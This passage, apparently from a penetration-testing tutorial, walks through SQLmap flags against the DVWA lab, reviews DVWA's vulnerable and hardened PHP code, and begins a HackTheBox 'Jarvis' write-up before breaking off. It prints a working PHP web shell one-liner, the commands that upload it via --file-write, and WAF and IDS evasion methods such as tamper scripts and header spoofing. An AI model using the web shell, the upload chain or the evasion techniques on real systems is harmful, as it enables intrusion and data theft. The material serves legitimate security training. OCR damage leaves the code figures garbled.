DBA rights, the attacker may be able to perform high-impact operations such as reading or writing
files on the server, accessing other user’s data, or even executing operating system commands
depending on the DBMS.

As shown in Figure 26, an SQLmap execution was conducted with these specific flags. Firstly,

it has successfully identified the current database as “dvwa” through the "--current-db" flag,
providing the foundational knowledge needed for targeted data extraction operations. Secondly,
the "--current-user” enumeration reveals that the database connection operates under the
‘root@localhost™ user context, which immediately signals elevated privileges within the MySQL
environment. Finally, and most significantly, the "--is-dba" check confirms that the current user
possesses DBA (Database Administrator) privileges, as indicated by the affirmative response in
the output " current user is DBA: True®. This combination of findings presents a high-risk scenario
where the compromised SQL injection vulnerability provides not only access to the application’s
primary database but also administrative-level control over the entire database management
system.
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Figure 26. SQLmap "--current-db” & "--current-user™ & "--is-dba" execution



The "--roles’ Flag

SQLmap’s “--roles” flag is used to enumerate the database roles associated with the current user,
provided the back-end database management system (DBMS) supports role-based access control
(RBAC). This flag is particularly useful in security assessments where understanding the privileges
assigned to a user account is crucial for evaluating the potential impact of a compromise. In many
DBMS platforms like Oracle, PostgreSQL, and SQL Server, roles define what actions a user can
perform such as reading tables, executing procedures, or administering the database.

However, it's important to note that not all database systems implement role-based access
control. As demonstrated in Figure 27, when SQLmap encounters a MySQL database (version 5.0
or higher), it recognizes that "the concept of roles does not exist™ in MySQL'’s architecture and
automatically adapts by stating “sqlmap will enumerate privileges instead.” This intelligent fallback
behavior ensures that valuable access control information is still gathered even when the target
DBMS doesn’t support formal role structures.

When roles are supported, SQLmap queries the system tables or metadata to extract a list of all
roles granted to the current user. When roles aren't available (as with MySQL), SQLmap pivots

to privilege enumeration, which serves a similar purpose by identifying the specific permissions
granted to the current user account. As shown in Figures 28 to 33, the privilege enumeration
reveals comprehensive access rights for multiple root user instances, including administrative
privileges across various database operations such as ALTER, CREATE, DELETE, DROP, EXECUTE,
FILE, INSERT, SELECT, SHUTDOWN, SUPER, TRIGGER, and UPDATE permissions.

In real-world attack scenarios, whether through role identification or privilege enumeration, this
information can aid in privilege escalation paths or uncover security misconfigurations where
excessive privileges have been granted to non-administrative accounts. Therefore, the “--roles”
flag (and its automatic privilege enumeration fallback) is a powerful addition to any SQL injection-
based enumeration campaign, providing deeper insight into access control distribution.
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Figure 27. SQLmap "--roles’ execution part 1 of 7
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The "--delay’ Flag

The "--delay" flag in SQLmap is a valuable option used to introduce a fixed pause (in seconds)
between each HTTP request sent during the injection process. This flag is especially useful in
scenarios where the target web application is protected by rate-limiting mechanisms, intrusion
detection/prevention systems (IDS/IPS), or web application firewalls (WAFs) that monitor for
suspicious patterns such as high-frequency requests. By slowing down the pace of the attack, the
*--delay" flag helps SQLmap mimic more human-like interaction, thereby reducing the likelihood
of triggering automated defenses or being blocked outright.

As shown in Figure 34, the "--delay " flag is set to 5 seconds in the SQLmap command execution,
and its effects are clearly visible in the timestamp progression throughout the enumeration
process. The deliberate pacing becomes evident when examining the time intervals between
operations. For instance, the transition from parsing HTTP requests at one timestamp to retrieving
backend DBMS information at subsequent timestamps shows a 5-second gap. Furthermore, this
systematic delay is particularly noticeable during the database schema extraction phase, where
SQLmap performs multiple queries to gather the database names. As observed, the requests are
methodically spaced according to the specified delay parameter. The controlled timing prevents
the tool from overwhelming the target server with rapid-fire requests, demonstrating how the
“--delay " flag effectively throttles the injection attempts.
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Figure 34. SQLmap "--delay execution



The '--sql-query’ Flag

The “--sql-query " flag in SQLmap is a powerful option that allows the user to directly execute
custom SQL statements against a vulnerable database once injection has been confirmed

and access established. Unlike the more automated data extraction flags (e.g., "--dump " or
‘--tables’), "--sql-query" gives the penetration tester fine-grained control over the exact data to
be retrieved, allowing for highly targeted and context-aware queries.

As demonstrated in Figure 35, a query like “--sql-query “SELECT user, password FROM dvwa.
users;” enables the precise extraction of usernames and hashed passwords from a specific table
within a known database which effectively bypasses the need to enumerate and select databases

or tables manually.

This parameter is especially useful in real-world scenarios where the tester already has knowledge
of the schema or where stealth is required. Executing a single specific query can minimize

noise and avoid drawing attention compared to broader enumeration techniques. It is also

useful for testing more complex SQL logic or performing administrative tasks, such as retrieving
configuration values or checking privilege levels.

However, this power comes with increased responsibility, as poorly crafted queries can result

in syntax errors or unintentionally destructive behavior. Therefore, proper understanding of the
database schema and SQL syntax is essential when using this parameter. Overall, "--sql-query"’
offers flexibility, precision, and efficiency, making it a vital tool for both advanced exploitation and
focused information gathering during SQL injection assessments.
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Figure 35. SQLmap "--sql-query " execution



The "--sql-shell’ Flag

The “--sql-shell” parameter in SQLmap grants the penetration tester an interactive SQL
command-line interface for issuing arbitrary SQL queries directly to the backend database once
a successful injection point has been found. Unlike “--sql-query ", which executes a single,
predefined SQL statement and then exits, “--sql-shell” opens a persistent session that allows
the tester to input multiple SQL commands dynamically in real-time which effectively mimics the
behavior of native database clients like mysql or psql. This interactive environment is particularly
useful when the tester does not have a full understanding of the database schema or wishes to
conduct exploratory probing, such as listing tables, inspecting column names, or performing trial-
and-error-based queries without having to rerun SQLmap each time. It supports most standard
SQL syntax relevant to the target DBMS and can be a powerful tool for gathering data, testing
privileges, or modifying records when appropriate.

As demonstrated in Figure 36, SQLmap was executed with the "--sql-shell” flag. Consequently,
as shown in Figure 37, the "--sql-shell’ flag functionality can be seen in action as it

provides seamless interactive access to the compromised MySQL database. The execution of
'SELECT user, password FROM dvwa.users; successfully retrieves all usernames and their
corresponding hashed passwords. The results display entries for admin, gordonb, 1337, pablo,
and smithy users along with their MDS5 password hashes. The session concludes as illustrated in
Figure 38, where the tester exits the interactive shell.
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Now, we move beyond the basics and tackle the more sophisticated layers of SQL injection
resistance found in DVWA's high and impossible difficulty levels. We will explore evasive
techniques such as tamper script usage, IP spoofing via custom headers, and scan intensity
configurations using "--level” and "--risk . You'll learn how to escalate from database enumeration
to user-level system compromise using "--file-write ", which culminates in the deployment of a
web shell. To bridge theory with reality, this section also includes a real-world Capture the Flag
(CTF) environment of a HackTheBox (HTB) machine called Jarvis. By the end of this article,

you'll be equipped not only with the tools but also with the methodology to navigate and exploit
hardened SQL injection targets effectively.



A

SQL Injection (High) PHP Code Review

At the high security level, DVWA significantly strengthens its defense against SQL injection attacks
compared to the low and medium settings. The whole PHP code of the high-level SQLi exercise of
DVWA is illustrated in Figure 39.

The most notable improvement is the use of session variables for user identification instead of
form-based or URL-based input. As highlighted in line 4, the user ID is retrieved from the session
via '$ SESSION[ ‘id’] . This approach significantly enhances security since session values are
stored server-side, making them less susceptible to manipulation by an attacker. By reducing
exposure to user-controlled input, this mechanism mitigates one common attack vector for SQL
injection.

Furthermore, the end of line 6 illustrates the SQL query that utilizes the "LIMIT 1 clause.
This addition helps restrict the query to returning only a single row, reducing the potential data
exposure even if an SQL injection attempt were to succeed. While not a true mitigation against
SQL injection itself, it serves as a practical risk-reduction measure by limiting the impact of
successful injection attempts aimed at dumping large datasets.

However, despite the use of session variables and query limiting, the application still constructs
SQL queries using direct string interpolation, as shown in the whole of line 6. This remains a
residual vulnerability. If an attacker manages to manipulate or poison the session through flaws
such as session hijacking, they could potentially inject SQL payloads via the *s SESSION[ ‘id’]"
value. While this attack vector is significantly more difficult to exploit compared to user-controlled
inputs, the lack of prepared statements or parameterized queries still leaves the system exposed
under certain conditions.

Despite these drawbacks, the application does implement improved error handling, which is a
step in the right direction. As seen in line 7, instead of revealing detailed SQL errors, it outputs a
generic message “Something went wrong.™ This prevents attackers from gaining insight into the
underlying database structure through error-based SQL injection techniques, which is a common
reconnaissance tactic.

In summary, DVWA's high security level introduces meaningful improvements against SQL injection,
such as retrieving the user ID from server-side session variables and using a "LIMIT 1° clause

to minimize data exposure. It also incorporates better error handling to obscure database details.
However, the continued use of direct string interpolation in SQL queries leaves a residual risk,
particularly if an attacker compromises the session.

if( isset( $ SESSION

$id = $ SESSTON[ 'id

$query =" first_name, last_name
‘4id" e
$result i GLOBALS i ston"], $query ) or die(

ile( $row = mysqli fetch assoc( $result

$first $row| "f
$last $row[ "las

echo >ID: {$id}<b st name: {$first}<b rname: {$last}

( is_null($__ mysqli_res = mysqli_close($GLOBALS[" |
: $_ mysqli_res);

Figure 39. DVWA high-level SQL injection PHP code



SQL Injection (High) User Interface Review

The user interface of the high-level SQL injection page in DVWA presents a more layered and
obfuscated input flow compared to the low and medium levels. As shown in Figure 40, user input
is no longer entered directly into the main page, but instead, through a separate browser window
that loads the “session-input.php” page that pops up upon clicking the "Click here to change
your ID" hyperlink on the main page. This architectural decision effectively separates the user
input mechanism from the primary display page located at */vulnerabilities/sqli/*. As a result, the
“Session ID" field is not directly embedded in the main page’s HTML or URL parameters, thereby
making basic SQL injection attempts less straightforward, though not entirely prevented.

Unlike the medium level, which restricts user input through a dropdown menu containing
predefined values, the high-level implementation introduces a more obfuscated workflow by
offloading input collection to a separate browser window (session-input.php). While the medium
level limits injection vectors by constraining the input surface, its underlying requests can still

be intercepted and tampered with using tools like Burp Suite. In contrast, the high-level setup
requires the attacker to trace a less direct injection path, as the main page itself no longer
exposes direct input fields or query parameters. All input is submitted through a distinct HTTP
request triggered by the secondary input window, and the main interface simply reflects the result
returned by the backend query execution.

This separation of interface simulates real-world secure design patterns where input and output
channels are isolated to minimize attack surface exposure. However, the backend remains
susceptible to SQL injection due to a lack of input sanitization and proper database query
handling. Therefore, while the user interface introduces a level of obfuscation that may slow down
casual or automated attacks, it ultimately does not eliminate the underlying vulnerability. This
highlights a common pitfall in security through obscurity. The web Ul layer defenses may deter
unsophisticated attempts but cannot substitute for robust backend validation and secure coding
practices.
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Figure 40. DVWA high-level SQL injection input sample



Automated SQL Injection (HIGH) with SQLmap

The user interface design of the high-level difficulty of the SQL injection module in DVWA
effectively separates the user input process from the main request URL, thereby preventing
rudimentary tools from identifying and injecting directly into the primary request. However,
SQLmap is anything but rudimentary. This level can still be bypassed using SQLmap’s “--second-
url™ flag, which is designed specifically to simulate multi-step injection scenarios which make

it useful when the target application requires an initial request to “prime” the session before a
vulnerable endpoint can be accessed.

The "--second-url” option in SQLmap allows attackers to provide a secondary URL that will be
requested before each injection attempt on the primary target URL. In this context, the secondary
URL (session-input.php) is the one that accepts user-controlled input, which is then passed to the
vulnerable query. To exploit this configuration, the attacker would use SQLmap with the "--url
parameter pointing to the main vulnerable page (e.g., http://127.0.0.1:8080/vulnerabilities/sqli/)
and specify the input endpoint using “--second-url” (e.g., http://127.0.0.1:8080/vulnerabilities/
sqli/session-input.php), along with the *--data" parameter containing the injection payload (e.g.,
‘--data="id=1"").

Essentially, SQLmap will first interact with the secondary URL to establish the required session
state, then perform its main testing and exploitation on the primary page. This technique bypasses
the illusion of front-end security offered by redirected input forms, demonstrating how multi-step
workflows can still be vulnerable if backend input handling remains unsafe. While this design may
deter casual attackers or basic Burp Suite payloads due to the dissociation of input, tools like
SQLmap with “--second-url® empower advanced attackers to exploit even multi-stage injection
paths, exposing the weakness in relying solely on Ul separation as a defensive measure.


http://127.0.0.1:8080/vulnerabilities/sqli/

The "--fingerprint’ & '--headers’ Flags

The “--fingerprint” flag instructs SQLmap to deeply inspect and identify various characteristics of
the back-end database system beyond what the “--banner™ parameter offers. While “--banner"
flag is designed to retrieve the database’s version banner, which can be useful for quick
identification, the *--fingerprint® flag performs a series of active checks and analysis to produce
a more accurate and reliable fingerprint of the database system. This includes details such as the
database’s operating system.

The “--headers’ parameter on the other hand, plays a critical role in enhancing the stealth of
SQLmap traffic toward a target. This flag is primarily used to spoof the originating IP address in
environments where web servers or WAFs log IPs from specific headers (e.g., X-Forwarded-For or
X-Client-IP) instead of the actual source IP. In real-world attack scenarios, this is highly beneficial
for evading IP-based rate limiting, intrusion detection systems (IDS), or security monitoring tools
that use client IP as an identifier for threat intelligence. Moreover, by modifying headers, attackers
can mimic legitimate client behavior in misconfigured systems.

As shown in Figure 41, both the "--fingerprint ™ and '--headers flags are utilized within the
SQLmap command execution. The effect of "--fingerprint " flag is evident in the terminal output
where SQLmap performs deeper DBMS analysis, including an active fingerprint and a comment
injection fingerprint, ultimately determining the precise MySQL version (such as 5.5.54) as
demonstrated in Figure 42. This level of detail exceeds the simpler identification provided by
‘—-banner" flag which typically retrieves a version string via a straightforward query. Meanwhile,
the use of "—-headers="X-Client-IP: 192.168.1.1" in the command showcases how
custom HTTP headers can be injected into requests. If the target server trusts such headers for IP
identification, this can be leveraged to bypass IP-based access controls or logging mechanisms.
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Figure 42. SQLmap "--fingerprint™ & "--headers’ execution part 2 of 2



The "--tampers’ Flag

The “--tamper’ parameter in SQLmap is another powerful feature that enables attackers or
penetration testers to evade web application firewalls (WAFs), intrusion detection systems (IDS),
and other input-filtering mechanisms by altering the structure of payloads without affecting their
logical execution. In real-world attack scenarios, where modern security systems actively analyze
and sanitize SQL queries, tamper scripts provide a strategic advantage by obfuscating the intent
and format of the injection. Among the multitude of tamper scripts available in SQLmap, three
particularly notable ones are “space2comment’, ‘between’, and “charencode . All the available
tamper scripts options can be listed using SQLmap’s "--list-tampers" flags as shown in Figures 43
and 44.

The “space2comment’ tamper script replaces spaces in SQL payloads with inline SQL comments
(e.g., /**/), which can effectively bypass WAF rules that rely on pattern matching for SQL
keywords separated by whitespace. For example, a typical query such as "SELECT * FROM
users WHERE id = T° might be transformed into " SELECT/**//*FROM/**/users/**/WHERE/**/
id/**/=/**/T", making it harder for signature-based defenses to detect the malicious payload. This
is especially useful against naive filters that block known SQL keywords only when followed by a
space.

The “between" tamper script modifies numeric conditions by replacing direct equality
comparisons with "BETWEEN" clauses. For example, a condition such as “id=1" could become "id
BETWEEN 1 AND 7°. This approach bypasses filters that flag common comparison operators (e.g.,
=, >, <) while maintaining the same logical outcome. It is particularly useful in applications that
heavily inspect traditional operators but allow more complex SQL expressions to pass unchecked.

Lastly, the “charencode’ tamper script encodes each character of the payload into its
hexadecimal representation (e.g., "admin™ becomes "0x61646d696e ), which is interpreted
correctly by the SQL engine but obfuscated at the input layer. This tactic can be effective against
input validation filters that reject suspicious alphanumeric sequences associated with SQL
injection. It also helps in situations where input is sanitized through regex or character blocklisting
but does not decode hex-encoded characters prior to query execution.

In essence, tamper scripts such as “space2comment’, "between’, and ‘charencode” empower
attackers to adapt their payloads to the target’s security posture, significantly increasing the
success rate of SQL injection attempts. When used in combination, these scripts allow SQLmap
to bypass layered defenses, turning seemingly secure applications into vulnerable targets. For
red teams and ethical hackers, mastering these scripts is essential for mimicking advanced threat
actors and demonstrating real-world attack feasibility. Demonstrated in Figures 45 and 46 is

the SQLmap execution that utilize the “space2comment’, "between’, and ‘charencode’ tamper
scripts, which is observed to be loaded in the initial procedures of the execution.
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The "--risk’ & "--level” Flags

The “--risk™ and "--level” parameters in SQLmap are critical configuration options that control the
aggressiveness, depth, and variability of the SQL injection testing process. In real-world attack

scenarios, these parameters allow penetration testers or attackers to fine-tune SQLmap’s probing
behavior to uncover subtle or deeply embedded injection points that may otherwise go unnoticed.

The “--level” flag determines how many types of tests SQLmap will perform per injection point.
By default, "--level is set to 1 (out of a maximum of 5), meaning only the most basic and non-
intrusive payloads are sent. Increasing the level results in a broader range of payloads and
techniques, such as testing additional HTTP GET/POST parameters, HTTP headers, and even
cookies if applicable. A high level (e.g., --level=5) will make SQLmap exhaustively test all entry
points, increasing the chances of discovering vulnerabilities at the cost of more time and noise.

The "--risk* parameter, on the other hand, defines the potential danger or impact of the payloads
being used. With a default value of 1 (out of 3), SQLmap uses low-risk, safer payloads. Raising it
to "--risk=3" instructs SQLmap to use more intrusive and potentially disruptive techniques. These
higher-risk tests are particularly useful when dealing with custom or defensive web applications
where simple injections are sanitized or filtered.

As shown in Figure 47, both the "--risk™ and “--level” parameters was utilized with slightly
increased values from their defaults to successfully enumerate the tables within the “dvwa"
database.
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Figure 47. SQLmap "--risk” & "--level" execution



The '--threads’ Flag

The “--threads’ parameter in SQLmap is a performance-enhancing option that controls the
number of concurrent HTTP requests sent to the target during an SQL injection scan. By default,
SQLmap uses a single thread (e.g., "--thread=1"), meaning it processes each request sequentially.
However, increasing the number of threads (up to a maximum of 10) enables SQLmap to execute
multiple injection attempts in parallel, significantly accelerating the scanning and exploitation
process. This is especially beneficial in real-world attack scenarios where time is a critical factor.
For example, in large web applications with multiple parameters, forms, or endpoints, using higher
thread counts allows SQLmap to explore more attack vectors quickly and efficiently, improving the
odds of detecting vulnerabilities before access logs are reviewed or security rules are triggered.

When the "--threads’ parameter is maxed out (e.g., set to 10), SQLmap pushes the server’s
request handling capacity more aggressively. However, this aggressive threading can have

a variety of negative side effects especially for targets that are poorly secured or have low
resources. High concurrency may result in noticeable performance degradation or even crash the
application. In addition, heavily threaded SQLmap scans are more likely to be flagged by WAFs,
IDS, or rate-limiting mechanisms, especially if no stealth techniques (like --random-agent or
--delay) are used in combination.

As shown in Figure 48, the "--threads’ parameter was utilized with a slightly increased value
from their default to successfully enumerate the columns of the “users” tables within the "dvwa’
database. Unfortunately, SQLmap does not explicitly display thread information in the console
output by default. One manifestation of the "--thread™ parameter in this context may be found in
the fact that the whole SQLmap execution was conducted within a single timestamp second (e.qg.,
23:48:13).
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Figure 48. SQLmap "--threads’ execution



The "--technique’ Flag

The “--technique’ parameter in SQLmap allows penetration testers and security researchers to
explicitly define which types of SQL injection techniques should be tested during an assessment.
The available options for this parameter include B (Boolean-based blind), E (error-based), U
(UNION query-based), S (stacked queries), T (time-based blind), and Q (inline queries). These
can be used individually or in combination. The default value of the "--technique’ parameter is
"UBESTQ", which means SQLmap will attempt all available techniques.

In real-world attacks, using the “--technique parameter helps an operator optimize both time
and stealth. For instance, an attacker targeting a production system with strict WAF filtering might
choose "--technique=T" to minimize detection, while another testing a verbose development
environment might prefer "--technique=EU" for speed and data extraction efficiency. It also helps
avoid unnecessary payloads or techniques that are likely to be blocked or are irrelevant in the
target’s context, improving precision and success rate.

As shown in Figure 49, the "--technique’ parameter was utilized with the default value of
"UBESTQ' to be thorough. In particular, only the techniques time-based blind (T) and union
query (U) were used. As demonstrated in Figure 50, this SQLmap execution was successful in
dumping the data of all columns of the “users" table within the "dvwa" database.
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Figure 49. SQLmap "--technique” execution part 1 of 2
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The "--os-shell” Flag

The "--os-shell” parameter in SQLmap is a powerful post-exploitation feature that attempts

to provide the attacker with a pseudo-command shell on the underlying operating system of

the vulnerable web server. Once SQLmap confirms the presence of a successful SQL injection
vulnerability (particularly one that allows stacked queries or file system interaction) it can leverage
this vulnerability to execute system-level commands. The "--os-shell” functionality works by
injecting payloads that allow SQLmap to read and write files or execute commands directly

via database functionalities such as “xp_cmdshell” (in MSSQL), COPY FROM PROGRAM (in
PostgreSQL), or SELECT sys_exec(...) (in MySQL when UDFs are in use). This allows the attacker
to interact with the operating system in real time, issuing commands such as whoami, ifconfig,
netstat, or even deploying further payloads for full compromise, such as reverse shells or malware
droppers.

As shown in Figure 51, an attempt to utilize the "--os-shell" flag on an SQLmap execution

was conducted. Unfortunately, the execution fails as demonstrated in Figures 52 and 53, where
SQLmap repeatedly attempts to upload file stagers to multiple directories including " /var/
www/>, ~/var/www/html/>, >/usr/local/apache2/htdocs/",and ' /usr/local/www/
data/" using both "LIMIT LINES TERMINATED BY” and “UNION" methods. The consistent output
of the "WARNING: it looks like the file has not been written™ messages indicate that the database
user lacks sufficient write privileges to create the necessary backdoor files in web-accessible
directories which prevents SQLmap from establishing the OS shell functionality and resulting in
the final * 404 (Not Found) - 205 times" error.
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The '--file-write' & --file-dest’ Flags

The "--file-write™ and "--file-dest™ parameters in SQLmap serve as a powerful alternative to the
“--os-shell” functionality that enables attackers to upload arbitrary files to a target system via

an SQL injection vulnerability. These parameters work in tandem. The "--file-write" specifies the
local path of a file on the attacker’s machine that is to be uploaded, while *--file-dest" defines the
destination path on the remote web server where the file will be written. One of the most effective
strategies to establish a foothold on a target involves uploading a web shell (e.g., a PHP-based
script) to a writable web directory. Once the web shell is successfully deployed, the attacker gains
interactive access to the server's command execution via HTTP requests.

As shown in Figure 54, the created "shell.php" file contains a simple but powerful one-liner PHP
script "<?php system(S_GET[‘cmd’]); ?>".This script transforms into a functional web shell
by allowing remote users to pass system commands via the ‘cmd’ URL parameter (e.g., "http://
target/shell.php?cmd=whoami). When accessed through a web browser, the script executes
the command on the server’s underlying operating system using PHP’s “system( )" function and
returns the output in the HTTP response. Due to its minimal size and high impact, such a web shell
is frequently used in real-world attacks to escalate privileges, exfiltrate data, or pivot further into
the network.
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Figure 54. PHP web shell creation

Now that the PHP web shell is created, it is ready to be uploaded into the target. As shown in
Figure 55, the "--file-write  and '--file-dest  parameters are actively used in the SQLmap
command to upload a local PHP file (shell.php) to the remote server. The output confirms that
the file has been successfully written to the target system with the message: " the local file ‘shell.
php’ has been successfully written on the back-end DBMS file system (/var/www/htmi/shell.
php’). This demonstrates that SQLmap was able to exploit a writable file path on the server to
place a file in a web-accessible directory.



The destination path */var/www/html/" is of particular interest to penetration testers and
attackers because it is the default web root directory for Apache servers on many Linux
distributions. Any file placed here can typically be accessed via a web browser, making it a prime
location for deploying web shells, malware droppers, or staging further attacks. Uploading files
to this directory enables remote interaction through HTTP requests, effectively turning a SQL
injection vulnerability into remote code execution if a malicious script is placed.

Leftover from UNION query
cen successfully written on the back-end DBHS file system ('/var/we/html/shell.php')? [¥/n] ¥

~/Desktop/DVWA_SQL_Injection_Simulations

Figure 55. SQLmap --file-write" and "--file-dest™ execution

Finally, to test out the web shell, we navigate to the uploaded file's URL as demonstrated in Figure
56. The successful execution is confirmed by the output "wid=33(www-data) gid=33(www-data)
groups=33(www-data)", demonstrating that the web shell is functional and capable of executing
system commands with the privileges of the web server user (www-data). This effectively
provides the attacker with command execution capabilities on the target system.

O D 127.00.

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Figure 56. Testing the web shell



SQL Injection (Impossible) PHP Code Review

In the impossible level of DVWA's SQL injection challenge, the developers have incorporated a
range of best-practice security mechanisms that together form a comprehensive defense against
SQL injection attacks. The entire PHP code is shown in Figure 57.

One of the key security features is the anti-CSRF (Cross-Site Request Forgery) token validation
mechanism, as demonstrated in line 4 with the function call “checkToken". This function ensures
that the token included in the request matches the one stored in the user’s session. If the tokens
don’t match, the request is deemed invalid, and the user is redirected, halting further processing.
This mechanism helps prevent SQL injection attacks by ensuring that only legitimate, user-
initiated requests are processed. Without a valid CSRF token, even a crafted request containing
SQL injection payloads would be rejected before reaching the SQL execution logic. By acting as a
gatekeeper, the CSRF token check adds a critical layer of protection that blocks unauthorized or
automated attempts to exploit SQL injection vulnerabilities.

Before any SQL query is even prepared, the application performs input validation using “/is_
numeric()” as seen in line 8 to ensure that the input provided for the user ID is strictly numeric.
This step filters out typical SQL injection payloads that rely on string manipulation, such as
“YOR 1=17--", which would be rejected outright as non-numeric. Following this validation, the
application employs parameterized queries using PDO (PHP Data Objects), seen in line 11. By
preparing the SQL statement with placeholders and binding parameters with strict data types
(e.g., 'PDO::PARAM_INT ), the application ensures that user input is treated purely as data and
not executable SQL code, which effectively neutralizes any SQL injection attempts.

To further reinforce the integrity of the query and restrict data exposure, the SQL statement
includes a "LIMIT 7" clause as seen towards the end of line 10. This not only improves
performance but also ensures that even if a vulnerability were to be exploited, only a single record
could be returned. The application also checks that exactly one row is returned using “rowCount()
== 17" as seenin line 15. This acts as a safeguard to prevent unintended logic paths or the
processing of bulk data, making sure the output aligns with the expected result of a single user
lookup.

In line 20, the application securely renders output using the “<pre>" tag along with controlled
string interpolation. While this primarily defends against Cross-Site Scripting (XSS) by ensuring
that user data is displayed as plain text and not interpreted as executable code, it also contributes
indirectly to SQL injection prevention. By avoiding the execution of any embedded scripts or
HTML, even if malicious SQL data were somehow injected and stored in the database, it would
not result in further exploitation through the browser. This containment ensures that any malicious
payload returned from a successful SQL injection does not escalate into an XSS attack, thereby
reinforcing overall application security.



Finally, as seen in line 25, the application calls " generateSessionToken()" to create a fresh CSRF
token. While this function is primarily designed to protect against CSRF, it also plays an indirect
role in preventing SQL injection. By ensuring that every form submission requires a unique, valid
token, it blocks unauthorized or automated requests that might attempt to exploit SQL injection
vulnerabilities. Even if an attacker crafts a malicious SQL payload, the request will fail without a
valid CSRF token, effectively neutralizing the attempt before it reaches the SQL execution stage.
This continuous regeneration of tokens reinforces secure session handling and adds a protective
barrier against injection-based attacks.

In summary, the impossible level in DVWA exemplifies a well-designed defense-in-depth approach
to secure coding. By layering CSRF protection, parameterized queries, input validation, output
encoding, and session token regeneration, the application eliminates any viable pathway for SQL
injection. These defenses make exploitation nearly impossible, providing a model example of how
secure web application coding should be performed.

if( isset( $ GET[ 'Submit’

checkToken( $_REQUEST
"ir hp' )

$id = $ GET[ 'id' ];
if(is_numeric( $id )) {
$data = $db->prepare( ' £ ame, __name
¢ ;)
$data->bindParam ', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();

if( $data->rowCount() == 1

$first = $row[ ‘first
$last = $row[ 'I:

echo "<pre> [$id}<br />First name: {$firstl<b
{$last]

generateSessionToken();

Figure 57. DVWA impossible level SQL injection PHP code



SQL Injection (Impossible) User Interface Review

As shown in Figure 58, the user interface of the impossible-level SQL Injection page in DVWA
presents a deceptive appearance of vulnerability by maintaining a user interface almost identical
to that of the low-level difficulty. Just like the lowest difficulty, it features a plain text input field
where users can submit a user ID, and the application returns the corresponding user information
(in this case, ID 1 showing admin). It also exposes the user input in the URL, using a GET request
format (e.g., "2id=1&Submit=Submit "), which typically raises concerns for injection. At first glance,
this similarity could mislead attackers or penetration testers into thinking the system is equally
vulnerable. However, the critical security upgrade lies in a hidden mechanism, the presence of a
‘user_token *parameter in the URL.

The “user_token™ value is an implementation of anti-CSRF protection, but in this context, it plays
a dual role by introducing server-side request validation, which is often tied to user sessions and
intended form submissions. This token prevents automated tools such as Burp Suite or SQLmap
from successfully reusing or crafting malicious requests unless they also extract and reuse the
correct, active session token. If this token is missing, expired, or incorrect, the server silently
discards the request or returns a benign result, effectively nullifying the injection attempt even if
the payload is syntactically valid.

When comparing the low, medium, and high difficulty levels, the low level allows full unsanitized
input directly in the URL and backend query, making it trivially exploitable. The medium level
restricts user input using a dropdown menu but still allows SQL injection through modified HTTP
requests. The high level detaches the input from the main interface and prevents reflection in the
URL, increasing the complexity of the attack but not fully securing the underlying backend logic.

In contrast, the impossible level neutralizes injection at the backend, regardless of front-end
controls or obfuscation. While it keeps the form structure deceptively simple, it creates a false
sense of vulnerability that effectively deters automated scanners, manual testing, and fuzzing by
relying on strong server-side logic rather than just client-side input controls.

In conclusion, although it mimics the low-level Ul, the impossible level introduces crucial, invisible
improvements such as secure query handling and token-based session validation, rendering SQL
injection attacks impossible in practice and setting an ideal example of how secure applications
should handle user input and session-based verification.

O D 127001

s Vulnerability: SQL Injection
Setup I Reset DB user[][submit

m: 1

Brute Force First name: admin

Surname: admin

Figure 58. DVWA impossible-level SQL injection input sample



Throwing the Kitchen Sink at the
Impossible Level DVWA SQLi

SQLmap was executed with a heavily armed command, as shown in Figure 59. The execution
included multiple advanced flags designed to bypass hardened protections. The "--banner"
and "--random-agent " flags aimed to extract DBMS version details and disguise the requests
to evade detection. The "--risk=3" and '--level=5" maximized settings instructed SQLmap
to use more intrusive payloads across a broader set of parameters. The "—--threads=10"

option attempted to accelerate the scan via concurrency, while "--technique=BEUSTQ"
activated all known SQL injection methods. In addition, the inclusion of four tamper scripts (e.g.,
space2comment, between, charencode, and randomcase) was meant to obfuscate payloads to
sneak past potential input filters and WAFs.

This SQLmap runtime began at 02:34:31 and concluded at 02:54:16, resulting in a runtime of
nearly 20 minutes, which stands out as the longest among all tests covered in this article. The
primary contributors to this extended duration were the aggressive "--level’, '--risk’, and
multi-tamper script usage, each adding more payload permutations and complexity to the testing
process.

Despite this full-force approach, Figure 60 shows that the result was ultimately a CRITICAL failure
with the output message "all tested parameters do not appear to be injectable.” This outcome
strongly affirms that the impossible level in DVWA's SQLi module is not only immune to basic
exploitation but also remains impervious to even the most exhaustive SQLmap configurations,
underscoring its purpose as a hardened, real-world simulation of a securely coded application.

RITICAL] all tested ters do not appear to be injectable
NG] your sglmap version is outdated

)-[~/Desktop/DVWA_SQL_Injection_Simulations]

Figure 60. SQLmap bombardment execution part 2 of 2



HTB (Jarvis)

A perfect opportunity to exploit an SQL injection vulnerability using SQLmap is in CTF platforms
that host vulnerable and/or misconfigured machines. A specific example would be the CTF
machine Jarvis, which starts its challenge with a web app vulnerable to SQL injections.

In particular, SQLmap was used to determine the existence of a WAF, enumerate the target’s
backend database management system (DBMS), acquire DB admin credentials (username and
password) and upload a PHP web shell into the target to obtain command injection capabilities.

As with any penetration testing or CTF engagement, it all starts with a port scan. As shown in
Figure 61, the NMAP scan was able to detect ports 22 (SSH) and 80 (HTTP).

-[~/Desktop/HTB/Jarvis
10.1@.10.1

-10 85:56 EDT

ed. Please report inc o map.org/submit/ .
1 host up) s

-[~/Desktop/HTB/Jarvis]

Figure 61. NMAP scan of Jarvis

The HTTP port is probed further using a good old and trusted web browser (Firefox in this case).
The web service shows what seems to be a simple website for a hotel, as shown in Figure 62. The
website is explored further by clicking various links and buttons to a specific web page regarding
a particular room (Superior Family Room). The URL of this web page contains a query string with

a query name “cod’ and the query value being *1°, as shown in Figure 63. In cybersecurity, this
kind of parameter is a common target for SQL injection attack, especially when the value is used in
database queries without proper input validation.

O @ 1010.10.143

Call: +12; Signin  Utiliies

STARK Home Rooms  Dining & Bar

Come & enjoy the unforgetable nights

In the heart of Stark Hotel

VIEW DETAIL KNOW MORE

Figure 62. HTTP home page



& 10.10.10.143/room.php?Eod=l

Utilities

STARK Home  Rooms  Dining & Bar
HOTEL

il Mtu

Superior Family Room
$27 0 seesin
Figure 63. HTTP "Superior Family Room" page

Without wasting anymore time, let’s bring out SQLmap and execute it on this URL as shown in
Figures 64 and 65. The former figure displays the initial execution and SQL conducting its multiple
tests. The latter figure displays more testing by SQLmap but towards the end was met with a
